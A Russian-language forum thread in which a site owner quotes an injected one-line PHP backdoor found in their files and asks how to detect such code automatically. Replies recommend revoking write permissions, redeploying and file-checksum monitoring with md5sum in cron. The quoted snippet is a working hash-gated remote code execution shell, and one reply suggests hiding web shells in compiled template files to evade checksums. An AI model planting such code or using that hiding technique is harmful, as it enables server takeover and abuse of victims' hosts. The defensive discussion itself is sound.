Борьба с инфицированным кодом в скриптах

  • Автор темы Автор темы nalim
  • Дата начала Дата начала

nalim

Новичок
Нашел у себя в некоторых файлах вот такой код:

PHP:
<?php if(@md5($_SERVER['HTTP_PATH'])==='5cd2973f835de94b560b62465d5a37f3'){ @extract($_REQUEST); @die($stime($mtime)); } ?>

Что он делает более-менее понятно - выполняет произвольный код.
Как используется тоже понятно - хост используют в ботнетах для атак и рассылки спама.
Как решить проблему в конкретном случае - так же более менее ясно - просто удалить этот фрагмент.

Посоветуйте есть ли каке-то автоматизированное средство борьбы с подобными веселыми скриптами?
Дело в том что ни clamav ни rkhunter и не думают на этот скрипт ругаться.

На ум приходят Suhosin и контроль за изменениями файлов через систему контроля версий.
Может быть есть еще какие-то эффективные мер и средства?
 
Эффективная мера - отсутствие прав на запись в файлы с кодом.
Самая эффективная мера - выяснить, каким образом туда смогли записать, и сделать так, чтобы больше не смогли.
 
Как решить проблему в конкретном случае - так же более менее ясно - просто удалить этот фрагмент.
Неверно, надо отдеплоить заново. Мало ли еще что где что всунули, что ты не нашел.
 
Мне на одном сервере дважды ломали шелл. После первого я написал гварда, который проверяет все файлы по маске, считает sha1 и высылает отчёты на мыло. И с тех пор ставлю его на каждый сервер, который настраиваю.
 
что значит ломали шелл? крали пароль или ssl ломали?
 
Кто его знает, там такие мымрики сайт наполняли, что от них ответа "что ты ел на завтрак" не добьёшься.
Зато теперь я каждое утро любуюсь на свежий привет от сервера.
 
Мне на одном сервере дважды ломали шелл. После первого я написал гварда, который проверяет все файлы по маске, считает sha1 и высылает отчёты на мыло. И с тех пор ставлю его на каждый сервер, который настраиваю.
a git не пробовал ставить и git status отправлять? :D
 
с учетом, что git данные сжимает, это надо постараться :)
gri$ du -hs .git
45M .git
 
Пара гигабайт для 2-мегабайтного проекта - это [цензура].
Я видел уже 250Mb git для 200кб проекта.
Спасибо, мне ваша каша не по вкусу.
 
А где ты писал, что у тебя 2мб? У меня .git примерно раз в 6 больше, чем проект.
 
Я все же надеюсь, что имелся в виду хак вида постдеплойного git init and add all, а не полные репозитории на продакшене: для каждой зависимости в composer.json тоже предлагается репозитории выкачивать? ;)
 
Я бы на месте кулхацкера, кстати, засунул вебшелл в какой-нибудь файл с автогенерируемым кодом. Например, в компилированный twig-шаблон основного лейаута. Туда и писать точно можно, и никакими гитами точно не трекается, и контрольные суммы там вряд ли считают. :)
 
Если вам быстро и на коленке, то можно так
После заливки: find ./path -type f ! -path './path/exclude/*' -exec md5sum {} \; >~/sum
И в крон md5sum -c --quiet ~/sum
Так как обычно шелы пихают чуть ли не на автомате скриптами, да и воруют чаще ftp доступ - сойдет.
В идеале - от другого пользователя поднять.
 
Сверху